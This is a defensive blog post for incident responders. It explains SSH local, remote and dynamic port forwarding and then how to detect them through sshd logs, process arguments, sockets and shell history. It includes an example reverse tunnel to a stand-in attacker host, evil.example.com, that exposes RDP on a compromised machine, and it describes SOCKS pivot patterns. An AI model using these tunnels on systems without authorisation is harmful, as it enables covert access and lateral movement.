Thursday, April 16, 2026

SSH Port Forwarding for DFIR Analysts

 SSH is one of the most trusted protocols in the tech industry for remote connections.  Which is exactly why attackers love it. Beyond remote shells, ssh ships with a built-in tunneling capability called port forwarding that can pivot traffic through a compromised host, expose an internal service to the internet, or push a reverse tunnel.  From a DFIR perspective, the good news is that these tunnels almost always leave a trail. 

This post is a practitioner's guide to the three forwarding modes explained, followed by the host-side artifacts and log sources to view when an SSH tunnel is suspected.

The Three Flavors of SSH Port Forwarding

All three modes create a TCP channel inside an already-authenticated SSH session. The encryption hides the payload from the wire, but the ssh events still surface in sshd logs and on disk.

1. Local Forwarding (-L) - "Bring it to me"

The client opens a listener on its own machine and forwards any traffic that hits it through the SSH session to a destination reachable from the server.

ssh -L 127.0.0.1:8000:10.0.0.25:3306 user@bastion.corp.local

Anyone who connects to localhost:8000 on the client reaches the internal MySQL server at 10.0.0.25:3306 via the bastion. Classic use case: reaching a database that was never supposed to be internet-exposed.

2. Remote Forwarding (-R) - "Punch a hole back to me"

The server opens the listener and forwards inbound traffic back through the tunnel to the client. This is the reverse-shell-friendly variant that bypasses egress-only firewalls.

ssh -R 0.0.0.0:4444:127.0.0.1:3389 user@evil.example.com

The attacker's VPS now listens on 4444; anything that hits it is funneled back to RDP on the compromised host. Note: binding beyond loopback requires GatewayPorts yes in sshd_config on the remote side - itself a red flag if you see it enabled.

3. Dynamic Forwarding (-D) - "Give me a SOCKS proxy"

Instead of a single forwarded port, -D turns the SSH session into a SOCKS proxy. An attacker points proxychains or a browser at it and reaches anything the SSH server can reach.

ssh -D 127.0.0.1:1080 -N -f user@bastion.corp.local

The -N flag suppresses command execution and -f backgrounds the session - a common "set it and forget it" pivot pattern worth fingerprinting.

Log Artifact Hunting

OpenSSH's sshd does not log port forwards by default at INFO level. To catch them, you need LogLevel VERBOSE (or higher) in /etc/ssh/sshd_config. Confirm this early in an investigation - its absence is itself a finding.

With verbose logging, the following lines appear in /var/log/auth.log (Debian/Ubuntu) or /var/log/secure (RHEL/Amazon Linux). On systemd hosts, query them directly:

journalctl -u ssh --since "24 hours ago" | grep -E "channel|forwarding|direct-tcpip"
Log signatureWhat it means
server_request_direct_tcpip: originator ... to host ... port ...Local or dynamic forward - the client asked the server to open an outbound channel.
server_input_global_request: rtype tcpip-forwardRemote forward - the client asked the server to bind a listener.
server_request_session: channel N followed by repeated channel N: newMultiple channels on one session - a strong tell for SOCKS-style -D usage.
Accepted publickey for ... from ... port ... followed by no interactive commandAuthenticated-but-silent session - common with -N -f.

In a SIEM, a simple starting hunt is any sshd event containing direct-tcpip or tcpip-forward. Pair that with the authenticating user and source IP, and you have a high-signal alert with low base-rate noise in most environments.

Host-Based Forensic Artifacts

Even if logs were never captured, forwarded SSH sessions leave fingerprints on disk and in memory. Prioritize these during triage:

Process arguments

The forwarding flags are passed on the command line and are visible in /proc/<pid>/cmdlineps auxf, or an EDR process tree. Any ssh invocation with -L-R-D, or -N -f deserves a second look. In live response:

ps -eo pid,user,cmd | grep -E "ssh .*-[LRD]"
ls -la /proc/*/exe 2>/dev/null | grep ssh

Network state

Listening sockets opened by forwards show up in ss -tnlp (or netstat -tnlp) bound to the expected local ports. Capture this output early - once the session dies, the listener disappears.

User shell history and SSH config

The shell history is often the single highest-yield artifact. 

Collect and grep for the ssh with the bad stuff:

grep -E "ssh .*-[LRD]|autossh|ProxyCommand" \
  /home/*/.bash_history /root/.bash_history /home/*/.zsh_history 2>/dev/null

Authorized keys and persistence

Attackers frequently pair tunnels with their own key in ~/.ssh/authorized_keys. Diff the file's mtime against known admin activity and validate every key's fingerprint against a trusted inventory. 

A Short Triage Checklist

  1. Confirm LogLevel in sshd_config; if not VERBOSE, note the gap.
  2. Pull auth.log/secure and grep for direct-tcpip and tcpip-forward.
  3. Snapshot psss -tnlp, and /proc/*/cmdline before the session closes.
  4. Collect shell histories, ~/.ssh/config, and authorized_keys for every human and service account.
  5. Correlate the suspect SSH session time windows

Closing Thoughts

SSH port forwarding is a legitimate tool that becomes an offensive capability the moment an attacker gets a valid credential. For the defender, the win is not blocking SSH - it is ensuring the tunnels are loud enough to hear. Turn up LogLevel, restrict AllowTcpForwarding where it is not needed, and build detections around the signals.

Recent Posts

No comments:

Post a Comment